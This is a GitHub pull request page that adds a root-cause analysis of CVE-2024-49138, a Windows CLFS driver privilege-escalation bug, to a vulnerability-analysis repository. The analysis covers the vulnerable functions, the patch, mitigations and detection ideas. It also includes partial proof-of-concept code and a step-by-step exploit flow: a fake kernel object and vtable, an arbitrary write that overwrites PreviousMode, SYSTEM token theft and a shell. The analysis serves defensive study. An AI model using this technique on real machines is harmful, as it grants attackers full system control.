-
Notifications
You must be signed in to change notification settings - Fork 84
Add CVE-2024-49138 #42
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
Ryujin76
wants to merge
3
commits into
googleprojectzero:main
Choose a base branch
from
Ryujin76:main
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
3 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,372 @@ | ||
| # CVE-2024-49138: Windows Common Log File System Driver Elevation of Privilege Vulnerability | ||
| *Ong How Chong (STAR Labs SG Pte. Ltd.)* | ||
|
|
||
| ## The Basics | ||
|
|
||
| **Disclosure or Patch Date:** December 10, 2024 | ||
|
|
||
| **Product:** Windows | ||
|
|
||
| **Advisory:** https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138 | ||
|
|
||
| **Affected Versions:** Before security updates of December 10, 2024, for Windows 10, 11 and Windows Server 2008, 2012, 2016, 2019, 2022, 2025 | ||
|
|
||
| **First Patched Version:** Security updates of December 10, 2024, for CVE-2024-49138 | ||
|
|
||
| **Issue/Bug Report:** N/A | ||
|
|
||
| **Patch CL:** N/A | ||
|
|
||
| **Bug-Introducing CL:** N/A | ||
|
|
||
| **Reporter(s):** Advanced Research Team with CrowdStrike | ||
|
|
||
| ## The Code | ||
|
|
||
| **Proof-of-concept:** https://github.com/MrAle98/CVE-2024-49138-POC | ||
|
|
||
| **Exploit sample:** See PoC | ||
|
|
||
| **Did you have access to the exploit sample when doing the analysis?** Yes | ||
|
|
||
| ## The Vulnerability | ||
|
|
||
| **Bug class:** Untrusted Pointer Dereference (CWE-822) | ||
|
|
||
| **Vulnerability details:** CVE-2024-49138 is a logical vulnerability within the Windows Common Log File System kernel driver that occurs when processing maliciously formatted log files. This will eventually lead to an untrusted pointer dereference by the kernel. An attacker is able to modify the pointer such that the execution flow of the kernel will be redirected to a user controlled address. | ||
|
|
||
| The Windows Common Log File System (CLFS) uses Base Log Files (BLF) and Container files for storing log information. BLFs hold all the important metadata relating to the log file while Containers hold the actual log data. | ||
|
|
||
| The untrusted pointer dereference can be found in the function `CClfsBaseFilePersisted::LoadContainerQ()`, where `pContainer` is a variable that can be indirectly manipulated and dereferenced. | ||
|
|
||
| ``` | ||
| CClfsBaseFilePersisted::LoadContainerQ(){ | ||
| ... | ||
| return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this); | ||
| ... | ||
| if ( return_value < 0 ) | ||
| goto LABEL_116; | ||
| ... | ||
| LABEL_116: | ||
| ContainerContext->pContainer->Release(ContainerContext->pContainer); //pContainer dereference | ||
| } | ||
| ``` | ||
|
|
||
| In order for `pContainer` dereference to be reached, `CClfsBaseFilePersisted::FlushImage()` would have to return a negative value, or an error code. Provided is the pseudocode for the relevant functions. | ||
|
|
||
| ``` | ||
| CClfsBaseFilePersisted::FlushImage(PERESOURCE *this){ | ||
| ... | ||
| return_value = CClfsBaseFilePersisted::WriteMetadataBlock(...); | ||
| return return_value; | ||
| } | ||
| ``` | ||
|
|
||
| ``` | ||
| CClfsBaseFilePersisted::WriteMetadataBlock(...){ | ||
| ... | ||
| ++ullDumpCount; | ||
| if (ullDumpCount & 1){ //if ullDumpCount is odd | ||
| ++Usn; | ||
| } | ||
| ... | ||
| return_value = ClfsEncodeBlock(...) | ||
| if (return_value >= 0){ //if ClfsEncodeBlock returns success | ||
| ClfsEncodeBlockSuccess = 1; | ||
| } | ||
| ... | ||
| if (ClfsEncodeBlockSuccess){ | ||
| return_value_2 = ClfsDecodeBlock(...); | ||
| if (return_value_2 < 0){ //if ClfsDecodeBlock returned error | ||
| ReleaseMetadataBlock(...); | ||
| return return_value_2; | ||
| } | ||
| } | ||
| ... | ||
| return return_value; | ||
| } | ||
| ``` | ||
|
|
||
| In order to dereference `pContainer`, you would need to have `ClfsEncodeBlock()` succeed and `ClfsDecodeBlock()` fail. `ClfsEncodeBlock()` succeeding would let us modify the value stored inside of `pContainer`, while `ClfsDecodeBlock()` failing would return an error code, which is necessary to reach the code in `CClfsBaseFilePersisted::LoadContainerQ()` that dereferences `pContainer`. | ||
|
|
||
| A BLF is split into multiple sectors of fixed size 512 bytes, and each of these sectors have a 2 byte signature located at the end. This signature is checked and manipulated by both `ClfsEncodeBlock()` and `ClfsDecodeBlock()`, and is critical for triggering this vulnerability. | ||
|
|
||
| To make `ClfsDecodeBlock()` fail after `ClfsEncodeBlock()` succeeds, an attacker would prepare the BLF such that there are 2 overlapping header sections: | ||
| * A sector signature and `pContainer` overlap. | ||
| * A sector signature and the `signatures array` overlap. | ||
|
|
||
| We also need to ensure that `ullDumpCount`, a value found in the BLF header, is an odd value as we want `Usn` to be incremented in `CClfsBaseFilePersisted::WriteMetadataBlock()`. `Usn` will then be used in `ClfsEncodeBlock()` to calculate a new sector signature. | ||
|
|
||
| `ClfsEncodeBlock()` calls `ClfsEncodeBlockPrivate()`. | ||
|
|
||
| ``` | ||
| ClfsEncodeBlockPrivate(...){ | ||
| if ( size or offsets are wrong ){ //preliminary checks | ||
| return ErrorCode; | ||
| } | ||
|
|
||
| SectorNumber = 0; | ||
| while (SectorNumber < TotalSectors){ | ||
| //calculate new sector signature | ||
| ... | ||
|
|
||
| SectorSigOffset = SectorNumber << 9; //SectorNumber * 512 (size of sector) | ||
| *SignaturesArray = *(SectorSigOffset + 2); //store old signature | ||
| SignaturesArray += 2; //move to next entry in SignaturesArray | ||
| *(SectorSigOffset + 2) = NewSig //write new signature | ||
| SectorNumber++; | ||
| } | ||
| } | ||
| ``` | ||
| ClfsEncodeBlockPrivate() logic: | ||
| * `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()` does preliminary checks that various fields in the BLF are valid. | ||
| * Loops over every 2 data bytes located at sector signature locations and copies them into the `signatures array` located at `SignaturesOffset`, then calculates and writes a signature value into the sector signature location (going from low address to high address). | ||
|
|
||
| As an example, take a malicious BLF which has a `ullDumpCount` value of 2 and a `Usn` value of 1. Following the sector signature format of `[Sector Block Type][Usn]`, each sector of this BLF would have a sector signature of `0x10 0x01` (except for the first and last sector in a block, which have [extra flags](https://github.com/ionescu007/clfs-docs?tab=readme-ov-file#sector-signatures)). | ||
| * `WriteMetadataBlock()` will increment both `ullDumpCount` and `Usn` by 1 before jumping to `ClfsEncodeBlock()` and `ClfsEncodeBlockPrivate()`. | ||
| * `ClfsEncodeBlockPrivate()` would calculate the new sector signature as `0x10 0x02`, following the sector signature format. | ||
| * Each sector would have its two data bytes from the signature slot copied into the `signatures array` located at `SignaturesOffset`, and its new sector signature value of `0x10 0x02` be written to the sector signature. However, due to the overlapping header sections that are present in the maliciou BLF, when `ClfsEncodeBlockPrivate()` stores the original data into the `signatures array`, it will overwrite the new sector signataure value of that sector. | ||
| * When `ClfsEncodeBlockPrivate()` iterates over the sectors, the following sequence happens: | ||
| *Update signatures of sector 0 to 9 (not important) | ||
| *Update signature of sector 10. Part of pContainer gets corrupted with 0x10 0x02 | ||
| *Update signature of sector 11. `signature_array[59]` gets overwritten with 0x10 0x02 (but not important because another overwrite will happen in later step). | ||
| *Update signatures of sector 10 to 58 (not important) | ||
| *Update signature of sector 59. The original bytes of signature slot in sector 59 (0x10 0x01) are placed in `signature_array[59]`, (with overlaps with signature slot of sector[11] !). Signature of sector 59 is set to 0x10 0x02. | ||
| *Update signatures of sector 60 to 61 (not important) | ||
| * After the full execution of the function `ClfsEncodeBlock()`: | ||
| * Part of `pContainer` will be overwritten by a sector signature, turning it into a user space address. | ||
| * The sector signature of the sector containing the `signatures array` will be invalid, thus causing `ClfsDecodeBlock()` to fail. | ||
|
|
||
| `ClfsDecodeBlock()` calls `ClfsDecodeBlockPrivate()`. | ||
|
|
||
| ``` | ||
| ClfsDecodeBlockPrivate(...){ | ||
| if ( size or offsets are wrong ){ //preliminary checks | ||
| return ErrorCode; | ||
| } | ||
| ... | ||
| SectorNumber = TotalSectors; | ||
| while (1){ | ||
| SectorNumber--; | ||
| SectorSigOffset = SectorNumber << 9; //SectorNumber * 512 (size of sector) | ||
| ... | ||
| if ( SectorSignature at SectorSigOffset [Usn] is wrong ){ | ||
| return ErrorCode; | ||
| } | ||
| if ( SectorSignature at SectorSigOffset [Sector Block Type] is wrong ){ | ||
| return ErrorCode; | ||
| } | ||
| ... | ||
| //Move old contents from SignaturesArray back to original | ||
| *(SectorSigOffset + 2) = *&SignaturesArray[2 * SectorNumber]; | ||
| ... | ||
| if (SectorNumber == 0){ //return success if no more sectors to check | ||
| return SuccessCode; | ||
| } | ||
| } | ||
| } | ||
| ``` | ||
| ClfsDecodeBlockPrivate() logic: | ||
|
|
||
| * `ClfsDecodeBlock()` and `ClfsDecodeBlockPrivate()` does preliminary checks that various fields in the BLF are valid. | ||
| * It loops over all the sector signatures and compares them against the expected value (going from high address to low address). | ||
| * If there are no errors after the checks, the sector signatures are replaced with the content in the `signatures array`, restoring the original sector signature value. | ||
| * If there are errors, it stops execution and returns an error code. | ||
| * Thus, with the malicious BLF, an error will be thrown as the sector signature of where the signature array is located is invalid. | ||
|
|
||
| With this, an error code is returned all the way up to `LoadContainerQ()`, and we are able to dereference `pContainer`, which would contain a user controlled address. | ||
|
|
||
| **Patch analysis:** | ||
|
|
||
| Before the patch: | ||
| ``` | ||
| CClfsBaseFilePersisted::LoadContainerQ(){ | ||
| ... | ||
| return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this); | ||
| ... | ||
| if ( return_value < 0 ) | ||
| goto LABEL_116; | ||
| ... | ||
| LABEL_116: | ||
| ContainerContext->pContainer->Release(ContainerContext->pContainer); //pContainer dereference | ||
| } | ||
| ``` | ||
|
|
||
| After the patch: | ||
| ``` | ||
| CClfsBaseFilePersisted::LoadContainerQ(){ | ||
| ... | ||
| if (patch_flag) | ||
| v58 = ContainerContext->pContainer; //saves pContainer here | ||
| ... | ||
| return_value = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this); | ||
| ... | ||
| if ( return_value < 0 ) | ||
| goto LABEL_116; | ||
| } | ||
| ... | ||
| LABEL_116: | ||
| v58->Release(v58); //safe pContainer dereference | ||
| ``` | ||
|
|
||
| After the patch, the address of `pContainer` is saved into `v58` before `CClfsBaseFilePersisted::FlushImage()` is called, and subsequently loaded before it is dereferenced. Thus, `pContainer` can no longer be tampered with before it is dereferenced. | ||
|
|
||
| **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** The CLFS driver had been patched for Elevation of Privilege vulnerabilities numerous times over the years. Additionally, the reporter of this CVE was Crowdstrike, who detected the vulnerability actively exploited by threat actors. There is a good chance that this was developed by threat actors who understand that the CLFS driver has many vectors to exploit as seen from past patches. | ||
|
|
||
| **(Historical/present/future) context of bug:** | ||
|
|
||
| * 10 December, 2024: CVE-2024-49138 is patched and publicly disclosed. | ||
| * 29 January, 2025: Alessandro Iandoli publishes a detailed writeup and POC for CVE-2024-49138. | ||
|
|
||
| ## The Exploit | ||
|
|
||
| (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) | ||
|
|
||
| **Exploit strategy (or strategies):** Modify `pContainer` so that the kernel will dereference it and call a chosen kernel function from a usermode vtable. | ||
|
|
||
| `CClfsBaseFilePersisted::LoadContainerQ()`, which contains the code that dereferences `pContainer`, can be reached by calling the user exposed Common Log File System (CLFS) API `CreateLogFile()`. | ||
|
|
||
| **Exploit flow:** | ||
|
|
||
| --- POC execution --- | ||
| * Create and load malicious BLF file. | ||
| * Create a fake `CClfsContainer` object at a user controlled address with a fake vtable that points to the address of `nt!PoFxProcessorNotification`. | ||
| * Write additional data in the memory region allocated to the fake `CClfsContainer` object such as the address of `nt!DbgkpTriageDumpRestoreState` and the address of `_KTHREAD.PreviousMode` of the current thread. | ||
| * Call `CreateLogFile()` which opens the malicious BLF file. | ||
|
|
||
| --- Driver execution --- | ||
| * Doing the above dereferences the malicious `CClfsContainer` object at a user controlled address. | ||
| * This calls `nt!PoFxProcessorNotification` which redirects the execution flow to `nt!DbgkpTriageDumpRestoreState` which is used to obtain arbitrary 8 byte write. | ||
| * Use this primitive to overwrite the `_KTHREAD.PreviousMode` of the current thread to 0 (kernelmode), granting us arbitrary read/write primitives to the whole address space using NtReadVirtualMemory() and NtWriteVirtualMemory(). | ||
|
|
||
| --- POC execution --- | ||
| * POC can now read and copy the system `_EPROCESS.Token` using a series of call to `NtReadVirtualMemory()/NtWriteVirtualMemory()` and plant it into our current process, giving our user mode POC the same privileges as the system process. | ||
| * Spawn a cmd shell with system privileges. | ||
|
|
||
| In depth analysis of the kernel functions exploit has been performed and documented below. | ||
| POC code: | ||
| ``` | ||
| ... | ||
| pcclfscontainer = VirtualAlloc(0x2100000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); | ||
| memset(pcclfscontainer, 0, 0x1000); | ||
|
|
||
| vtable = pcclfscontainer + 0x100; | ||
| rcx = pcclfscontainer; //0x2100000 | ||
|
|
||
| *(rcx + 0x40) = pcclfscontainer + 0x200; | ||
| *(pcclfscontainer + 0x200 + 0x68) = KernelBase + offset_nt!DbgkpTriageDumpRestoreState; | ||
|
|
||
| //location of arguments to pass to nt!DbgkpTriageDumpRestoreState | ||
| *(rcx + 0x48) = pcclfscontainer + 0x300; | ||
| arg_nt!DbgkpTriageDumpRestoreState = pcclfscontainer + 0x300; | ||
|
|
||
| //address of arbitrary write of nt!DbgkpTriageDumpRestoreState. It writes at offset 0x2078 | ||
| *(arg_nt!DbgkpTriageDumpRestoreState) = AddressOfUserThread + offset_KTHREAD.PreviousMode - 0x2078; | ||
|
|
||
| //value of arbitrary write of nt!DbgkpTriageDumpRestoreState | ||
| *(arg_nt!DbgkpTriageDumpRestoreState + 0x10) = 0x0; //KernelMode | ||
|
|
||
| //[1] is the offset of the Release() function found in the vtable pointed to by pContainer | ||
| vtable[1] = KernelBase + offset_nt!PoFxProcessorNotification; | ||
| *pcclfscontainer = vtable; | ||
|
|
||
| //trigger vulnerability after preparing addresses | ||
| logHndl = CreateLogFile(logFileName.c_str(), | ||
| GENERIC_WRITE | GENERIC_READ, | ||
| FILE_SHARE_READ | FILE_SHARE_WRITE, | ||
| NULL, | ||
| OPEN_ALWAYS, | ||
| 0); | ||
| ... | ||
| //swap user process _EPROCESS.Token with system process | ||
| //restore _KTHREAD.PreviousMode to UserMode | ||
| //spawn system cmd shell | ||
| ``` | ||
|
|
||
| CClfsBaseFilePersisted::LoadContainerQ(): | ||
| ``` | ||
| ... | ||
| mov rcx, [rdi+18h] //moves pContainer value into rcx (0x2100000) | ||
| mov rax, [rcx] //moves vtable value into rax | ||
| mov rax, [rax+8] //moves address of nt!PoFxProcessorNotification into rax | ||
| call cs:__guard_dispatch_icall_fptr | ||
| ... | ||
| jmp rax //jump to nt!PoFxProcessorNotification | ||
| ... | ||
| ``` | ||
|
|
||
| nt!PoFxProcessorNotification: | ||
|
|
||
| At this point, `rcx` would contain the value of `pContainer`, in this case 0x2100000. | ||
| ``` | ||
| ... | ||
| mov rax, qword ptr [rcx+40h] //moves (pcclfscontainer + 0x200) into rax | ||
| mov rax, qword ptr [rax+68h] //moves (kernel address + nt!DbgkpTriageDumpRestoreState offset) into rax | ||
| mov rcx, qword ptr [rcx+48h] //moves start address of arguments into rcx | ||
| call cs:__guard_dispatch_icall_fptr | ||
| ... | ||
| jmp rax //jump to nt!DbgkpTriageDumpRestoreState | ||
| ... | ||
| ``` | ||
|
|
||
| nt!DbgkpTriageDumpRestoreState: | ||
|
|
||
| At this point, `rcx` contains the address of the arguments being passed. | ||
| ``` | ||
| ... | ||
| DbgkpTriageDumpRestoreState proc near | ||
| mov eax, [rcx+0Ch] | ||
| mov rdx, [rcx] //rdx is (AddressOfUserThread + offset_KTHREAD.PreviousMode - 0x2078) | ||
| mov [rcx+18h], eax | ||
| mov eax, [rcx+10h] //eax is first 4 bytes of arbitrary write value | ||
| mov [rdx+2078h], eax //write to (AddressOfUserThread + offset_KTHREAD.PreviousMode) | ||
| mov rdx, [rcx] | ||
| mov eax, [rcx+14h] //eax is next 4 bytes of arbitrary write value | ||
| mov [rdx+207Ch], eax //write to (AddressOfUserThread + offset_KTHREAD.PreviousMode + 4h) | ||
| retn | ||
| DbgkpTriageDumpRestoreState endp | ||
| ... | ||
| ``` | ||
|
|
||
| **Known cases of the same exploit flow:** There have been other exploits that all have the end-goal of being able to read and copy the systems `_EPROCESS.Token`, thus leading to elevation of privilege. | ||
|
|
||
| **Part of an exploit chain?** Was used standalone to elevate privileges on a Windows machine. | ||
|
|
||
| ## The Next Steps | ||
|
|
||
| ### Variant analysis | ||
|
|
||
| **Areas/approach for variant analysis (and why):** N/A | ||
|
|
||
| **Found variants:** N/A | ||
|
|
||
| ### Structural improvements | ||
|
|
||
| What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? | ||
|
|
||
| **Ideas to kill the bug class:** | ||
|
|
||
| * There is an official blog post by Microsoft suggesting various mitigations for the Common Log Filesystem (CLFS) [found here](https://techcommunity.microsoft.com/blog/microsoft-security-blog/security-mitigation-for-the-common-log-filesystem-clfs/4224041). | ||
| * Supervisor Mode Access Prevention (SMAP) would kill the usermode dereference, but has been discarded on Windows as [seen here](https://github.com/microsoft/MSRC-Security-Research/blob/master/papers/2020/Evaluating%20the%20feasibility%20of%20enabling%20SMAP%20for%20the%20Windows%20kernel.pdf). | ||
| * Leaks via NtQuerySystemInformation from medium IL no longer works on Windows 11 24H2. | ||
| * Overwriting Previousmode no longer works on Windows 11 24H2. | ||
|
|
||
| **Ideas to mitigate the exploit flow:** N/A | ||
|
|
||
| **Other potential improvements:** N/A | ||
|
|
||
| ### 0-day detection methods | ||
|
|
||
| What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? | ||
|
|
||
| * Dropping and modifying BLF files | ||
| * Spawning cmd.exe as SYSTEM | ||
| * Monitoring suspicious API calls such as NtQuerySystemInformation | ||
|
|
||
| ## Other References | ||
| * https://github.com/ionescu007/clfs-docs | ||
| * https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49138 | ||
| * https://security.humanativaspa.it/cve-2024-49138-windows-clfs-heap-based-buffer-overflow-analysis-part-1/ | ||
| * https://github.com/MrAle98/CVE-2024-49138-POC | ||
| * https://www.zerodayinitiative.com/blog/2024/12/10/the-december-2024-security-update-review | ||
|
|
||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
SMAP would kill the usermode dereference, but has been discarded on Windows (https://github.com/microsoft/MSRC-Security-Research/blob/master/papers/2020/Evaluating%20the%20feasibility%20of%20enabling%20SMAP%20for%20the%20Windows%20kernel.pdf)
The leaks via NtQuerySystemInformation from medium IL are killed on Windows 11 24H2.
Overwriting Previousmode should also not work anymore on Windows 11 24H2.
See "Limitations and improvements" at https://security.humanativaspa.it/cve-2024-49138-windows-clfs-heap-based-buffer-overflow-analysis-part-1/